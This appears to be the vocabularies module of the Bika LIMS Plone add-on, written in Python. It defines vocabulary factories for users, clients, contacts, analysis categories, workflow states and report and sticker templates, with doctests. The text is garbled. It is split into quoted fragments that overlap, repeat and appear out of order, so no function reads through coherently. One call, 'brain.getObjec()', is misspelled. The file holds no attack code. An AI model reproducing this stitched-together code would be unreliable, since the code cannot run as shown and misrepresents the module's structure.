"]) ClientVocabularyFactory = ClientVocabulary() class UserVocabulary(object): \"\"\" Present a vocabulary containing users in",
"= 'bika.lims.vocabularies.Users' >>> util = queryUtility(IVocabularyFactory, name) >>> tool = portal.portal_registration >>> tool.addMember('user1',",
"setRoles(portal, TEST_USER_ID, ['Manager',]) >>> from zope.component import queryUtility >>> name = 'bika.lims.vocabularies.AnalysisCategories' >>>",
"in types] return SimpleVocabulary(items) BikaCatalogTypesVocabularyFactory = BikaCatalogTypesVocabulary() class AnalysisCategoryVocabulary(BikaContentVocabulary): \"\"\"\" AnalysisCategories >>> portal",
"AnalysisServiceVocabulary() class ClientVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['clients', ], ['Client', ]) ClientVocabularyFactory = ClientVocabulary()",
"terms = [SimpleTerm(k, title=u'%s' % v) for k, v in items_list] return SimpleVocabulary(terms)",
"If the template lives outside the bika.lims add-on, both the template_id and template_title",
"(tuple, list)) and \\ folders or [folders, ] self.portal_types = isinstance(portal_types, (tuple, list))",
"getToolByName(site, 'portal_membership') users = mtool.searchForMembers(roles=self.roles) items = [(item.getProperty('fullname'), item.getId()) for item in users]",
"\\ AnalysisRequestWorkflowStateVocabulary() class ARPrioritiesVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_arpriorities', ], ['ARPriority', ]) def getTemplates(bikalims_path,",
"implements(IVocabularyFactory) def __init__(self, folders, portal_types): self.folders = isinstance(folders, (tuple, list)) and \\ folders",
"value else self.value self.contentFilter = \\ contentFilter if contentFilter else self.contentFilter def __call__(self,",
"getToolByName(site, 'portal_workflow') if 'portal_type' in self.contentFilter: portal_type = self.contentFilter['portal_type'] wf_ids = [x.id for",
"in items] return SimpleVocabulary(items) UserVocabularyFactory = UserVocabulary() ClientVocabularyFactory = ClientVocabulary() class ClientContactVocabulary(object): \"\"\"",
"in self.portal_types: objects = list(folder.objectValues(portal_type)) objects = [o for o in objects if",
"query. \"\"\" implements(IDisplayListVocabulary) catalog = 'portal_catalog' contentFilter = {} key = 'UID' value",
"As an example, for a template from the my.product add-on located in <restype>",
"types listed as indexed by bika_catalog \"\"\" implements(IVocabularyFactory) def __call__(self, context): translate =",
"UserVocabulary(object): \"\"\" Present a vocabulary containing users in the specified list of roles",
"x in getARReportTemplates()] return SimpleVocabulary(out) def getStickerTemplates(): \"\"\" Returns an array with the",
"bika.lims add-on templates_dir = resource_filename(\"bika.lims\", bikalims_path) tempath = os.path.join(templates_dir, '*.pt') templates = [os.path.split(x)[-1]",
"will look like: {'id': 'my.product:My_cool_report.pt', 'title': 'my.product: My cool report'} \"\"\" # Retrieve",
">>> objects = folder.objectValues() >>> len(objects) 3 >>> source = util(portal) >>> source",
"Returns an array with the AR Templates available in Bika LIMS plus the",
"getattr(brain, self.value) else: obj = brain.getObjec() key = obj[self.key] key = callable(key) and",
"the templates from other add-ons for templates_resource in iterDirectoriesOfType(restype): prefix = templates_resource.__name__ if",
"client1.invokeFactory('Contact', id='contact1') 'contact1' >>> contact1 = client1.contact1 >>> contact1.processForm() >>> contact1.edit(Firstname='Contact', Surname='One') >>>",
"import setRoles >>> from plone.app.testing import login >>> login(portal, TEST_USER_NAME) >>> setRoles(portal, TEST_USER_ID,",
"def getStickerTemplates(): \"\"\" Returns an array with the sticker templates available. Retrieves the",
"the my.product add-on located in <restype> resource dir, and with a filename \"My_cool_report.pt\",",
"= aq_get(site, 'REQUEST', None) items = [] wf = site.portal_workflow for folder in",
"y.Title().lower())) xitems = [(t(item.Title()), item.Title()) for item in objects] xitems = [SimpleTerm(i[1], i[1],",
"ARReportTemplatesVocabulary() class CustomPubPrefVocabulary(object): implements(IVocabularyFactory) def __call__(self, context): items = [ (_('Email'),'email'), (_('PDF'), 'pdf')",
"contentFilter if contentFilter else self.contentFilter def __call__(self, **kwargs): site = getSite() request =",
"cmp(x[0].lower(), y[0].lower())) items = [SimpleTerm(i[1], i[1], i[0]) for i in items] return SimpleVocabulary(items)",
"in site.clients.objectValues('Client'): objects = list(client.objectValues('Contact')) objects.sort(lambda x, y: cmp(x.getFullname().lower(), y.getFullname().lower())) xitems = [(to_utf8(item.getFullname()),",
"BikaContentVocabulary.__init__(self, ['bika_setup/bika_analysisprofiles', ], ['AnalysisProfile', ]) AnalysisProfileVocabularyFactory = AnalysisProfileVocabulary() class StorageLocationVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self,",
"a template from the my.product add-on located in templates/reports dir, and with a",
"translate = context.translate types = ( ('AnalysisRequest', translate(to_utf8(_('Analysis Request')))), ('Batch', translate(to_utf8(_('Batch')))), ('Sample', translate(to_utf8(_('Sample')))),",
"('Batch', translate(to_utf8(_('Batch')))), ('Sample', translate(to_utf8(_('Sample')))), ('ReferenceSample', translate(to_utf8(_('Reference Sample')))), ('Worksheet', translate(to_utf8(_('Worksheet')))) ) items = [SimpleTerm(i[0],",
"UserVocabularyFactory = UserVocabulary() ClientVocabularyFactory = ClientVocabulary() class ClientContactVocabulary(object): \"\"\" Present Client Contacts >>>",
"[SimpleTerm(i[1], i[1], i[0]) for i in xitems] items += xitems return SimpleVocabulary(items) ClientContactVocabularyFactory",
"items = [] for client in site.clients.objectValues('Client'): objects = list(client.objectValues('Contact')) objects.sort(lambda x, y:",
">>> source = util(portal) >>> source <zope.schema.vocabulary.SimpleVocabulary object at ...> >>> 'Contact One'",
"adapter request = aq_get(wftool, 'REQUEST', None) wf = wftool.getWorkflowById('bika_ar_workflow') items = wftool.listWFStatesByTitle(filter_similar=True) items_dict",
"getTemplates(p, resdirname) class StickerTemplatesVocabulary(object): \"\"\" Locate all sticker templates \"\"\" implements(IVocabularyFactory) def __call__(self,",
"= [(item.getProperty('fullname'), item.getId()) for item in users] items.sort(lambda x, y: cmp(x[0].lower(), y[0].lower())) items",
"bikaMessageFactory as _ from bika.lims.utils import t from bika.lims.interfaces import IDisplayListVocabulary, ICustomPubPref from",
"'Water Chemistry' in source.by_token True \"\"\" def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_analysiscategories', ], ['AnalysisCategory', ])",
"], ['AnalysisProfile', ]) AnalysisProfileVocabularyFactory = AnalysisProfileVocabulary() class StorageLocationVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_storagelocations', ],",
">>> util = queryUtility(IVocabularyFactory, name) >>> from plone.app.testing import TEST_USER_NAME >>> from plone.app.testing",
"from bika.lims.utils import t from bika.lims.interfaces import IDisplayListVocabulary, ICustomPubPref from bika.lims.utils import to_utf8",
"'bika.lims': continue dirlist = templates_resource.listDirectory() exts = ['{0}:{1}'.format(prefix, tpl) for tpl in dirlist",
"key value = obj[self.value] value = callable(value) and value() or value items.append((key, t(value)))",
"getToolByName(site, self.catalog) if 'allow_blank' in kwargs: allow_blank = True del (kwargs['allow_blank']) self.contentFilter.update(**kwargs) #",
"name = 'bika.lims.vocabularies.Users' >>> util = queryUtility(IVocabularyFactory, name) >>> tool = portal.portal_registration >>>",
"context self.key = key if key else self.key self.value = value if value",
"= layer['portal'] >>> name = 'bika.lims.vocabularies.Users' >>> util = queryUtility(IVocabularyFactory, name) >>> tool",
"look like: {'id': 'my.product:My_cool_report.pt', 'title': 'my.product: My cool report'} \"\"\" # Retrieve the",
"'reports' resources directory type from each additional product. Each array item is a",
"\"templates\", resdirname) return getTemplates(p, resdirname) class StickerTemplatesVocabulary(object): \"\"\" Locate all sticker templates \"\"\"",
"default \"\"\" implements(IVocabularyFactory) def __call__(self, context): out = [SimpleTerm(x['id'], x['id'], x['title']) for x",
"but with whitespaces and without extension. As an example, for a template from",
"in objects] xitems = [SimpleTerm(i[1], i[1], i[0]) for i in xitems] items +=",
"my.product add-on located in templates/reports dir, and with a filename \"My_cool_report.pt\", the dictionary",
"]) AnalysisServiceVocabularyFactory = AnalysisServiceVocabulary() class ClientVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['clients', ], ['Client', ])",
"\"\"\" Returns an array with the Templates available in the Bika LIMS path",
"# Be sure and select only active objects, unless other instructions # are",
"else self.key self.value = value if value else self.value self.contentFilter = \\ contentFilter",
"= getToolByName(portal, 'portal_workflow', None) if wftool is None: return SimpleVocabulary([]) # XXX This",
"We find them by listing folder contents directly. \"\"\" implements(IVocabularyFactory) def __init__(self, folders,",
"LIMS plus the templates from the 'reports' resources directory type from each additional",
"secondary deactivation/cancellation workflow is anbled, # Be sure and select only active objects,",
"SimpleVocabulary(out) ARReportTemplatesVocabularyFactory = ARReportTemplatesVocabulary() class CustomPubPrefVocabulary(object): implements(IVocabularyFactory) def __call__(self, context): items = [",
"getSite() wftool = getToolByName(portal, 'portal_workflow', None) if wftool is None: return SimpleVocabulary([]) #",
"a secondary deactivation/cancellation workflow is anbled, # Be sure and select only active",
"wf = getToolByName(site, 'portal_workflow') if 'portal_type' in self.contentFilter: portal_type = self.contentFilter['portal_type'] wf_ids =",
"self.contentFilter: self.contentFilter['cancellation_state'] = 'active' brains = catalog(self.contentFilter) items = [('', '')] if allow_blank",
"= 'active' elif 'bika_cancellation_workflow' in wf_ids \\ and 'bika_inactive_workflow' not in self.contentFilter: self.contentFilter['cancellation_state']",
"example, for a template from the my.product add-on located in <restype> resource dir,",
"request = aq_get(site, 'REQUEST', None) catalog = getToolByName(site, self.catalog) if 'allow_blank' in kwargs:",
"]) AnalystVocabularyFactory = AnalystVocabulary() class AnalysisRequestWorkflowStateVocabulary(object): \"\"\"Vocabulary factory for workflow states. >>> from",
"'<EMAIL>', ... 'fullname': 'user1'} ... ) <MemberData at /plone/portal_memberdata/user1 used for /plone/acl_users> >>>",
">>> util = queryUtility(IVocabularyFactory, name) >>> folder = portal.bika_setup.bika_analysiscategories >>> objects = folder.objectValues()",
"SamplePointVocabulary() class SampleTypeVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_sampletypes', ], ['SampleType', ]) SampleTypeVocabularyFactory = SampleTypeVocabulary()",
"types] return SimpleVocabulary(items) BikaCatalogTypesVocabularyFactory = BikaCatalogTypesVocabulary() class AnalysisCategoryVocabulary(BikaContentVocabulary): \"\"\"\" AnalysisCategories >>> portal =",
"a template from the my.product add-on located in templates/stickers, and with a filename",
"+= xitems return SimpleVocabulary(items) class BikaCatalogTypesVocabulary(object): \"\"\"Vocabulary factory for really user friendly portal",
"# -*- coding:utf-8 -*- from Acquisition import aq_get from bika.lims import bikaMessageFactory as",
"for Bika Setup objects. We find them by listing folder contents directly. \"\"\"",
"class CatalogVocabulary(object): \"\"\"Make vocabulary from catalog query. \"\"\" implements(IDisplayListVocabulary) catalog = 'portal_catalog' contentFilter",
"or [folders, ] self.portal_types = isinstance(portal_types, (tuple, list)) and \\ portal_types or [portal_types,",
"for a template from the my.product add-on located in templates/stickers, and with a",
"states <zope.schema.vocabulary.SimpleVocabulary object at ...> >>> pub = states.by_token['published'] >>> pub.title, pub.token, pub.value",
"y: cmp(x.Title().lower(), y.Title().lower())) xitems = [(t(item.Title()), item.Title()) for item in objects] xitems =",
"template lives outside the bika.lims add-on, both the template_id and template_title include a",
"source = util(portal) >>> source <zope.schema.vocabulary.SimpleVocabulary object at ...> >>> 'test_user_1_' in source.by_value",
"available on each additional product (restype). Each array item is a dictionary with",
"contact1.edit(Firstname='Contact', Surname='One') >>> contact1.reindexObject() >>> source = util(portal) >>> source <zope.schema.vocabulary.SimpleVocabulary object at",
"CatalogVocabulary(object): \"\"\"Make vocabulary from catalog query. \"\"\" implements(IDisplayListVocabulary) catalog = 'portal_catalog' contentFilter =",
"bika.lims.utils import to_utf8 from Products.Archetypes.public import DisplayList from Products.CMFCore.utils import getToolByName from zope.interface",
"\"portal_workflow\") >>> states = util(portal) >>> states <zope.schema.vocabulary.SimpleVocabulary object at ...> >>> pub",
"factory for really user friendly portal types, filtered to return only types listed",
"= 'portal_catalog' contentFilter = {} key = 'UID' value = 'Title' def __init__(self,",
"util = queryUtility(IVocabularyFactory, name) >>> tool = portal.portal_registration >>> tool.addMember('user1', 'user1', ... properties",
"title = template[:-3] title = title.replace('_', ' ') title = title.replace(':', ': ')",
"= title.replace(':', ': ') out.append({'id': template, 'title': title}) return out def getARReportTemplates(): \"\"\"",
"# we get REQUEST from wftool because context may be an adapter request",
"'bika.lims.vocabularies.Users' >>> util = queryUtility(IVocabularyFactory, name) >>> tool = portal.portal_registration >>> tool.addMember('user1', 'user1',",
"Products.CMFCore.utils import getToolByName from zope.interface import implements from pkg_resources import resource_filename from plone.resource.utils",
"\"\"\" implements(IVocabularyFactory) def __call__(self, context): site = getSite() request = aq_get(site, 'REQUEST', None)",
"['AnalysisCategory', ]) AnalysisCategoryVocabularyFactory = AnalysisCategoryVocabulary() class AnalysisProfileVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_analysisprofiles', ], ['AnalysisProfile',",
"... 'username': 'user1', ... 'email': '<EMAIL>', ... 'fullname': 'user1'} ... ) <MemberData at",
"zope.component import queryUtility >>> portal = layer['portal'] >>> name = 'bika.lims.vocabularies.ClientContacts' >>> util",
"= SampleTypeVocabulary() class AnalysisServiceVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_analysisservices', ], ['AnalysisService', ]) AnalysisServiceVocabularyFactory =",
"[(t(item.Title()), item.Title()) for item in objects] xitems = [SimpleTerm(i[1], i[1], i[0]) for i",
"'my.product: My cool report'} \"\"\" resdirname = 'reports' p = os.path.join(\"browser\", \"analysisrequest\", \"templates\",",
"StorageLocationVocabularyFactory = StorageLocationVocabulary() class SamplePointVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_samplepoints', ], ['SamplePoint', ]) SamplePointVocabularyFactory",
"resources directory specified and available on each additional product (restype). Each array item",
"'my.product:My_cool_report.pt', 'title': 'my.product: My cool report'} \"\"\" resdirname = 'reports' p = os.path.join(\"browser\",",
"'published') \"\"\" implements(IVocabularyFactory) def __call__(self, context): portal = getSite() wftool = getToolByName(portal, 'portal_workflow',",
"for name, item in getAdapters((context, ), ICustomPubPref): items.append(item) return SimpleVocabulary.fromItems(items) CustomPubPrefVocabularyFactory = CustomPubPrefVocabulary()",
"my.product add-on located in <restype> resource dir, and with a filename \"My_cool_report.pt\", the",
"directly. \"\"\" implements(IVocabularyFactory) def __init__(self, folders, portal_types): self.folders = isinstance(folders, (tuple, list)) and",
"value = obj[self.value] value = callable(value) and value() or value items.append((key, t(value))) return",
"util = queryUtility(IVocabularyFactory, name) >>> folder = portal.bika_setup.bika_analysiscategories >>> objects = folder.objectValues() >>>",
"template_title is the same name as the id, but with whitespaces and without",
"= util(portal) >>> source <zope.schema.vocabulary.SimpleVocabulary object at ...> >>> 'test_user_1_' in source.by_value True",
"v) for k, v in items_list] return SimpleVocabulary(terms) AnalysisRequestWorkflowStateVocabularyFactory = \\ AnalysisRequestWorkflowStateVocabulary() class",
"plone.app.testing import TEST_USER_ID >>> from plone.app.testing import setRoles >>> from plone.app.testing import login",
"from zope.interface import implements from pkg_resources import resource_filename from plone.resource.utils import iterDirectoriesOfType from",
"]) SamplePointVocabularyFactory = SamplePointVocabulary() class SampleTypeVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_sampletypes', ], ['SampleType', ])",
"= self.contentFilter['portal_type'] wf_ids = [x.id for x in wf.getWorkflowsFor(portal_type)] if 'bika_inactive_workflow' in wf_ids",
"= ClientContactVocabulary() class AnalystVocabulary(UserVocabulary): def __init__(self): UserVocabulary.__init__(self, roles=['Analyst', ]) AnalystVocabularyFactory = AnalystVocabulary() class",
"<template_id>, 'title': <template_title>} If the template lives outside the bika.lims add-on, both the",
"= [] wf = site.portal_workflow for folder in self.folders: folder = site.restrictedTraverse(folder) for",
"in source.by_token True \"\"\" def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_analysiscategories', ], ['AnalysisCategory', ]) AnalysisCategoryVocabularyFactory =",
"= UserVocabulary() ClientVocabularyFactory = ClientVocabulary() class ClientContactVocabulary(object): \"\"\" Present Client Contacts >>> from",
"contact1.reindexObject() >>> source = util(portal) >>> source <zope.schema.vocabulary.SimpleVocabulary object at ...> >>> 'Contact",
"REQUEST from wftool because context may be an adapter request = aq_get(wftool, 'REQUEST',",
"and self.value in brain: key = getattr(brain, self.key) value = getattr(brain, self.value) else:",
"= [SimpleTerm(i[0], i[0], i[1]) for i in types] return SimpleVocabulary(items) BikaCatalogTypesVocabularyFactory = BikaCatalogTypesVocabulary()",
"StickerTemplatesVocabulary(object): \"\"\" Locate all sticker templates \"\"\" implements(IVocabularyFactory) def __call__(self, context): out =",
"'my.product:My_cool_report.pt', 'title': 'my.product: My cool report'} \"\"\" # Retrieve the templates from bika.lims",
"-*- coding:utf-8 -*- from Acquisition import aq_get from bika.lims import bikaMessageFactory as _",
"TEST_USER_NAME) >>> setRoles(portal, TEST_USER_ID, ['Manager',]) >>> from zope.component import queryUtility >>> name =",
"filename \"EAN128_default_small.pt\", the dictionary will look like: {'id': 'my.product:EAN128_default_small.pt', 'title': 'my.product: EAN128 default",
"<restype> resource dir, and with a filename \"My_cool_report.pt\", the dictionary will look like:",
"from Products.CMFCore.utils import getToolByName from zope.interface import implements from pkg_resources import resource_filename from",
"y: cmp(x[0].lower(), y[0].lower())) items = [SimpleTerm(i[1], i[1], i[0]) for i in items] return",
"for item in objects] xitems = [SimpleTerm(i[1], i[1], i[0]) for i in xitems]",
"BikaCatalogTypesVocabulary() class AnalysisCategoryVocabulary(BikaContentVocabulary): \"\"\"\" AnalysisCategories >>> portal = layer['portal'] >>> from plone.app.testing import",
"None: return SimpleVocabulary([]) # XXX This is evil. A vocabulary shouldn't be request",
"import iterDirectoriesOfType from zope.schema.interfaces import IVocabularyFactory from zope.schema.vocabulary import SimpleTerm from zope.schema.vocabulary import",
"states.by_token['published'] >>> pub.title, pub.token, pub.value (u'Published', 'published', 'published') \"\"\" implements(IVocabularyFactory) def __call__(self, context):",
"the my.product add-on located in templates/stickers, and with a filename \"EAN128_default_small.pt\", the dictionary",
"class SamplePointVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_samplepoints', ], ['SamplePoint', ]) SamplePointVocabularyFactory = SamplePointVocabulary() class",
"context): portal = getSite() wftool = getToolByName(portal, 'portal_workflow', None) if wftool is None:",
"LIMS path specified plus the templates from the resources directory specified and available",
"def __call__(self, context): out = [SimpleTerm(x['id'], x['id'], x['title']) for x in getStickerTemplates()] return",
"in source.by_value True \"\"\" implements(IVocabularyFactory) def __init__(self, roles=[]): self.roles = roles if isinstance(roles,",
"folder contents directly. \"\"\" implements(IVocabularyFactory) def __init__(self, folders, portal_types): self.folders = isinstance(folders, (tuple,",
"v) for k, v in items_dict.items()] items_list.sort(lambda x, y: cmp(x[1], y[1])) terms =",
"objects = list(client.objectValues('Contact')) objects.sort(lambda x, y: cmp(x.getFullname().lower(), y.getFullname().lower())) xitems = [(to_utf8(item.getFullname()), item.getFullname()) for",
"('ReferenceSample', translate(to_utf8(_('Reference Sample')))), ('Worksheet', translate(to_utf8(_('Worksheet')))) ) items = [SimpleTerm(i[0], i[0], i[1]) for i",
"from plone.app.testing import setRoles >>> from plone.app.testing import login >>> login(portal, TEST_USER_NAME) >>>",
"], ['SampleType', ]) SampleTypeVocabularyFactory = SampleTypeVocabulary() class AnalysisServiceVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_analysisservices', ],",
"i[0]) for i in items] return SimpleVocabulary(items) UserVocabularyFactory = UserVocabulary() ClientVocabularyFactory = ClientVocabulary()",
"Retrieve the templates from bika.lims add-on resdirname = 'stickers' p = os.path.join(\"browser\", \"templates\",",
"Be sure and select only active objects, unless other instructions # are explicitly",
"ClientVocabulary() class ClientContactVocabulary(object): \"\"\" Present Client Contacts >>> from zope.component import queryUtility >>>",
"specific. # The sorting should go into a separate widget. # we get",
"for i in types] return SimpleVocabulary(items) BikaCatalogTypesVocabularyFactory = BikaCatalogTypesVocabulary() class AnalysisCategoryVocabulary(BikaContentVocabulary): \"\"\"\" AnalysisCategories",
"...> >>> 'Water Chemistry' in source.by_token True \"\"\" def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_analysiscategories', ],",
"aq_get(site, 'REQUEST', None) catalog = getToolByName(site, self.catalog) if 'allow_blank' in kwargs: allow_blank =",
"id='contact1') 'contact1' >>> contact1 = client1.contact1 >>> contact1.processForm() >>> contact1.edit(Firstname='Contact', Surname='One') >>> contact1.reindexObject()",
"import getAdapters from zope.site.hooks import getSite import os import glob class CatalogVocabulary(object): \"\"\"Make",
"p = os.path.join(\"browser\", \"templates\", resdirname) return getTemplates(p, resdirname) class StickerTemplatesVocabulary(object): \"\"\" Locate all",
"...> >>> pub = states.by_token['published'] >>> pub.title, pub.token, pub.value (u'Published', 'published', 'published') \"\"\"",
"'REQUEST', None) items = [] for client in site.clients.objectValues('Client'): objects = list(client.objectValues('Contact')) objects.sort(lambda",
"only active objects, unless other instructions # are explicitly specified: wf = getToolByName(site,",
"\"\"\"Vocabulary factory for Bika Setup objects. We find them by listing folder contents",
"ClientVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['clients', ], ['Client', ]) ClientVocabularyFactory = ClientVocabulary() class UserVocabulary(object):",
"os import glob class CatalogVocabulary(object): \"\"\"Make vocabulary from catalog query. \"\"\" implements(IDisplayListVocabulary) catalog",
"= callable(value) and value() or value items.append((key, t(value))) return DisplayList(items) class BikaContentVocabulary(object): \"\"\"Vocabulary",
"[SimpleTerm(i[1], i[1], i[0]) for i in items] return SimpleVocabulary(items) UserVocabularyFactory = UserVocabulary() ClientVocabularyFactory",
"My cool report'} \"\"\" resdirname = 'reports' p = os.path.join(\"browser\", \"analysisrequest\", \"templates\", resdirname)",
"key=None, value=None, contentFilter=None): self.context = context self.key = key if key else self.key",
"\\ portal_types or [portal_types, ] def __call__(self, context): site = getSite() request =",
"source = util(portal) >>> source <zope.schema.vocabulary.SimpleVocabulary object at ...> >>> 'Contact One' in",
"plone.resource.utils import iterDirectoriesOfType from zope.schema.interfaces import IVocabularyFactory from zope.schema.vocabulary import SimpleTerm from zope.schema.vocabulary",
"name = 'bika.lims.vocabularies.AnalysisCategories' >>> util = queryUtility(IVocabularyFactory, name) >>> folder = portal.bika_setup.bika_analysiscategories >>>",
"def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_arpriorities', ], ['ARPriority', ]) def getTemplates(bikalims_path, restype): \"\"\" Returns an",
"in items_list] return SimpleVocabulary(terms) AnalysisRequestWorkflowStateVocabularyFactory = \\ AnalysisRequestWorkflowStateVocabulary() class ARPrioritiesVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self,",
"= 'stickers' p = os.path.join(\"browser\", \"templates\", resdirname) return getTemplates(p, resdirname) class StickerTemplatesVocabulary(object): \"\"\"",
"= obj[self.value] value = callable(value) and value() or value items.append((key, t(value))) return DisplayList(items)",
"( ('AnalysisRequest', translate(to_utf8(_('Analysis Request')))), ('Batch', translate(to_utf8(_('Batch')))), ('Sample', translate(to_utf8(_('Sample')))), ('ReferenceSample', translate(to_utf8(_('Reference Sample')))), ('Worksheet', translate(to_utf8(_('Worksheet'))))",
"import bikaMessageFactory as _ from bika.lims.utils import t from bika.lims.interfaces import IDisplayListVocabulary, ICustomPubPref",
"folder in self.folders: folder = site.restrictedTraverse(folder) for portal_type in self.portal_types: objects = list(folder.objectValues(portal_type))",
"Templates available in Bika LIMS plus the templates from the 'reports' resources directory",
"an example, for a template from the my.product add-on located in templates/reports dir,",
"the templates from bika.lims add-on resdirname = 'stickers' p = os.path.join(\"browser\", \"templates\", resdirname)",
">>> pub = states.by_token['published'] >>> pub.title, pub.token, pub.value (u'Published', 'published', 'published') \"\"\" implements(IVocabularyFactory)",
"available in the Bika LIMS path specified plus the templates from the resources",
"util(portal) >>> source <zope.schema.vocabulary.SimpleVocabulary object at ...> >>> 'Water Chemistry' in source.by_token True",
"name) >>> tool = portal.portal_registration >>> tool.addMember('user1', 'user1', ... properties = { ...",
"Setup objects. We find them by listing folder contents directly. \"\"\" implements(IVocabularyFactory) def",
"'title': 'my.product: My cool report'} \"\"\" # Retrieve the templates from bika.lims add-on",
"= [os.path.split(x)[-1] for x in glob.glob(tempath)] # Retrieve the templates from other add-ons",
"= ClientVocabulary() class ClientContactVocabulary(object): \"\"\" Present Client Contacts >>> from zope.component import queryUtility",
"by bika_catalog \"\"\" implements(IVocabularyFactory) def __call__(self, context): translate = context.translate types = (",
"x['id'], x['title']) for x in getARReportTemplates()] return SimpleVocabulary(out) def getStickerTemplates(): \"\"\" Returns an",
">>> contact1.processForm() >>> contact1.edit(Firstname='Contact', Surname='One') >>> contact1.reindexObject() >>> source = util(portal) >>> source",
"return SimpleVocabulary(items) BikaCatalogTypesVocabularyFactory = BikaCatalogTypesVocabulary() class AnalysisCategoryVocabulary(BikaContentVocabulary): \"\"\"\" AnalysisCategories >>> portal = layer['portal']",
"...> >>> 'Contact One' in source.by_value True \"\"\" implements(IVocabularyFactory) def __call__(self, context): site",
"title = title.replace(':', ': ') out.append({'id': template, 'title': title}) return out def getARReportTemplates():",
"obj[self.key] key = callable(key) and key() or key value = obj[self.value] value =",
"3 >>> source = util(portal) >>> source <zope.schema.vocabulary.SimpleVocabulary object at ...> >>> 'Water",
"an example, for a template from the my.product add-on located in templates/stickers, and",
"objects] xitems = [SimpleTerm(i[1], i[1], i[0]) for i in xitems] items += xitems",
"folders, portal_types): self.folders = isinstance(folders, (tuple, list)) and \\ folders or [folders, ]",
"__call__(self, context): translate = context.translate types = ( ('AnalysisRequest', translate(to_utf8(_('Analysis Request')))), ('Batch', translate(to_utf8(_('Batch')))),",
"Returns an array with the sticker templates available. Retrieves the TAL templates saved",
"\"My_cool_report.pt\", the dictionary will look like: {'id': 'my.product:My_cool_report.pt', 'title': 'my.product: My cool report'}",
"__call__(self, context): items = [ (_('Email'),'email'), (_('PDF'), 'pdf') ] for name, item in",
"/plone/portal_memberdata/user1 used for /plone/acl_users> >>> source = util(portal) >>> source <zope.schema.vocabulary.SimpleVocabulary object at",
"... ) <MemberData at /plone/portal_memberdata/user1 used for /plone/acl_users> >>> source = util(portal) >>>",
"= StorageLocationVocabulary() class SamplePointVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_samplepoints', ], ['SamplePoint', ]) SamplePointVocabularyFactory =",
"Retrieve the templates from other add-ons for templates_resource in iterDirectoriesOfType(restype): prefix = templates_resource.__name__",
"DisplayList from Products.CMFCore.utils import getToolByName from zope.interface import implements from pkg_resources import resource_filename",
"template from the my.product add-on located in templates/stickers, and with a filename \"EAN128_default_small.pt\",",
"... properties = { ... 'username': 'user1', ... 'email': '<EMAIL>', ... 'fullname': 'user1'}",
">>> login(portal, TEST_USER_NAME) >>> setRoles(portal, TEST_USER_ID, ['Manager',]) >>> portal.clients.invokeFactory('Client', id='client1') 'client1' >>> client1",
"from pkg_resources import resource_filename from plone.resource.utils import iterDirectoriesOfType from zope.schema.interfaces import IVocabularyFactory from",
"item is a dictionary with the following structure: {'id': <template_id>, 'title': <template_title>} If",
"'bika_inactive_workflow' in wf_ids \\ and 'bika_inactive_workflow' not in self.contentFilter: self.contentFilter['inactive_state'] = 'active' elif",
"= aq_get(wftool, 'REQUEST', None) wf = wftool.getWorkflowById('bika_ar_workflow') items = wftool.listWFStatesByTitle(filter_similar=True) items_dict = dict([(i[1],",
"]) StorageLocationVocabularyFactory = StorageLocationVocabulary() class SamplePointVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_samplepoints', ], ['SamplePoint', ])",
"(tuple, list)) else [roles, ] def __call__(self, context): site = getSite() mtool =",
"None) items = [] for client in site.clients.objectValues('Client'): objects = list(client.objectValues('Contact')) objects.sort(lambda x,",
"class AnalysisProfileVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_analysisprofiles', ], ['AnalysisProfile', ]) AnalysisProfileVocabularyFactory = AnalysisProfileVocabulary() class",
"exts = ['{0}:{1}'.format(prefix, tpl) for tpl in dirlist if tpl.endswith('.pt')] templates.extend(exts) out =",
"= os.path.join(\"browser\", \"analysisrequest\", \"templates\", resdirname) return getTemplates(p, resdirname) class ARReportTemplatesVocabulary(object): \"\"\"Locate all ARReport",
"implements(IVocabularyFactory) def __call__(self, context): site = getSite() request = aq_get(site, 'REQUEST', None) items",
"xitems = [(to_utf8(item.getFullname()), item.getFullname()) for item in objects] xitems = [SimpleTerm(i[1], i[1], i[0])",
"layer['portal'] >>> name = 'bika.lims.vocabularies.Users' >>> util = queryUtility(IVocabularyFactory, name) >>> tool =",
"resource dir, and with a filename \"My_cool_report.pt\", the dictionary will look like: {'id':",
"product. Each array item is a dictionary with the following structure: {'id': <template_id>,",
">>> from zope.component import queryUtility >>> portal = layer['portal'] >>> name = 'bika.lims.vocabularies.Users'",
"\"analysisrequest\", \"templates\", resdirname) return getTemplates(p, resdirname) class ARReportTemplatesVocabulary(object): \"\"\"Locate all ARReport templates to",
"import to_utf8 from Products.Archetypes.public import DisplayList from Products.CMFCore.utils import getToolByName from zope.interface import",
"import implements from pkg_resources import resource_filename from plone.resource.utils import iterDirectoriesOfType from zope.schema.interfaces import",
"\"\"\" implements(IVocabularyFactory) def __call__(self, context): portal = getSite() wftool = getToolByName(portal, 'portal_workflow', None)",
